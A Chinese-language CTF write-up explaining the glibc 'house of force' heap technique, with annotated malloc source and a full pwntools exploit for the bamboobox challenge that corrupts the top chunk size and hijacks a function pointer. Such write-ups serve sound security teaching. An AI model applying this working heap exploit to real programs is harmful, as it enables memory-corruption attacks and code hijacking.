house of force

文章发布时间:

最后更新时间:

文章总字数:
1.7k

预计阅读时间:
8 分钟

一种修改top chunk的地址来获取低地址处内存空间的chunk的办法

复习一下chunk的申请办法 是先判断bin中是否有符合大小的chunk 如果没有再去top chunk分配

top chunk的分配办法是在top chunk顶部分配出一个空间 随后top chunk的位置向高地址处增加

这一过程我们来看一下源码是如何实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
victim = av->top;//获取当前top chunk的地址
size = chunksize (victim);//获取当前top chunk的大小

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
//MINSIZE就是堆块的最小size,32位程序为0x10,64位程序为0x20
//nb为实际要获取的chunk大小(申请的大小加上MINSIZE)
//判断式是为了保证top chunk有足够大小的空间来供此次申请
//之所以要加上MINSIZE是因为为了确保申请完chunk后 top chunk还能保持完整的chunk结构
{
remainder_size = size - nb;//remainder_size为分配chunk后的top chunk大小
remainder = chunk_at_offset (victim, nb);//remainder为分配完后的top chunk地址
av->top = remainder;//更新top chunk
//下面两个set_head给分配出去的堆块以及分配后的top chunk设置新的size
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);//无关 忽略
void *p = chunk2mem (victim);//无关 忽略
alloc_perturb (p, bytes);
return p;
}

首先我们需要绕过 size >= nb + MINSIZE 这个判断式 使其结果为True 才能进入if分支

我们在进行house of force漏洞利用的时候 nb通常都是负数(下面会讲 这里先知道个大概就行) 而你也可以在源码中看到 nb在计算时是被当作一个无符号正数看待的 也就是说计算机遇到负数nb时会将其转化成补码(我在计组原理的文章中有提及)这会使得nb成为一个很庞大的数

所以我们需要让top chunk的size也作为一个负数 并且这个负数的补码要是所有负数中最大的(或者大于nb即可)

所以这里通过堆溢出覆盖top chunk的size为0xffffffffffffffff 也就是-1即可

接着就是if分支中设置top chunk新的地址的算式

remainder = chunk_at_offset (victim, nb) 相当于 victim+nb=top_chunk

原本的top chunk地址加上实际上要分配的大小等于新的top chunk地址

而nb = request_size + MINSIZE top_chunk = request_addr - MINSIZE

所以request_size = request_addr - oldtopchunk_addr - 2*MINSIZE

接下来我们用一道例题加深一下理解

hitcontraining_bamboobox

checksec看一下保护机制

1
2
3
4
5
6
7
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida看一下伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = malloc(0x10uLL);
*v4 = hello_message;
v4[1] = goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}

常规的菜单题 给了输出chunk内容的机会 释放chunk的时候一同置零了指针 不存在UAF漏洞

具体来看一下main函数开头的几行代码

1
2
3
4
v4 = malloc(0x10uLL);
*v4 = hello_message;
v4[1] = goodbye_message;
(*v4)();

申请了0x10大小的chunk 依次存放了hello_message的地址和goodbye_message的地址

并且先执行了hello_message

1
2
3
4
5
int hello_message()
{
puts("There is a box with magic");
return puts("what do you want to do in the box");
}

而goodbye_message在我们选择退出程序后的分支执行

1
2
3
4
5
int goodbye_message()
{
puts("See you next time");
return puts("Thanks you");
}

并且程序还给了一个magic函数 可以直接输出flag信息

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

所以思路就是覆盖v4这个chunk中的goodbye_message 使其为magic函数地址

为了重复申请到v4这个chunk 就需要我们调整top chunk的地址 使其为v4 chunk的地址 这样再次申请一个chunk就达成目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",25692)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
libc = ELF("buu_libc_ubuntu16_64")

def add(size,name):
io.recvuntil("Your choice:")
io.sendline(b'2')
io.recvuntil("Please enter the length of item name:")
io.sendline(str(size))
io.recvuntil("Please enter the name of item:")
io.send(name)

def delete(index):
io.recvuntil("Your choice:")
io.sendline(b'4')
io.recvuntil("Please enter the index of item:")
io.sendline(str(index))
io.recvuntil("remove successful!!")

def edit(index,size,name):
io.recvuntil("Your choice:")
io.sendline(b'3')
io.recvuntil("Please enter the index of item:")
io.sendline(str(index))
io.recvuntil("Please enter the length of item name:")
io.sendline(str(size))
io.recvuntil("Please enter the new name of the item:")
io.send(name)

def show():
io.recvuntil("Your choice:")
io.sendline(b'1')

add(0x30,b'aaaa')
payload = cyclic(0x38)+p64(0xffffffffffffffff)
edit(0,len(payload),payload)
magic_addr = 0x400d49
payload = cyclic(0x8)+p64(magic_addr)
add(-0x70,b'aaaa')

此时我们看一下chunk布局

可以看到top chunk已经调整到了原先v4chunk的位置 我们再次申请一个chunk 看看

1
add(0x10,b'aaaaaaaa'*2)

可以看到成功覆盖

那么我们把垃圾数据换成magic函数的地址

就可以实现flag的泄露(不过你打buu远程不能用这种办法 他docker没还原环境)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",25692)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
libc = ELF("buu_libc_ubuntu16_64")

def add(size,name):
io.recvuntil("Your choice:")
io.sendline(b'2')
io.recvuntil("Please enter the length of item name:")
io.sendline(str(size))
io.recvuntil("Please enter the name of item:")
io.send(name)

def delete(index):
io.recvuntil("Your choice:")
io.sendline(b'4')
io.recvuntil("Please enter the index of item:")
io.sendline(str(index))
io.recvuntil("remove successful!!")

def edit(index,size,name):
io.recvuntil("Your choice:")
io.sendline(b'3')
io.recvuntil("Please enter the index of item:")
io.sendline(str(index))
io.recvuntil("Please enter the length of item name:")
io.sendline(str(size))
io.recvuntil("Please enter the new name of the item:")
io.send(name)

def show():
io.recvuntil("Your choice:")
io.sendline(b'1')

add(0x30,b'aaaa')
payload = cyclic(0x38)+p64(0xffffffffffffffff)
edit(0,len(payload),payload)
magic_addr = 0x400d49
payload = cyclic(0x8)+p64(magic_addr)
add(-0x70,b'aaaa')
add(0x10,payload)
io.recvuntil("Your choice:")
io.sendline(b'5')
io.recv()

总结一下 house of force适用于

有堆溢出 没有对申请chunk的大小做过多限制 可以获取top chunk地址低地址处的任意写的机会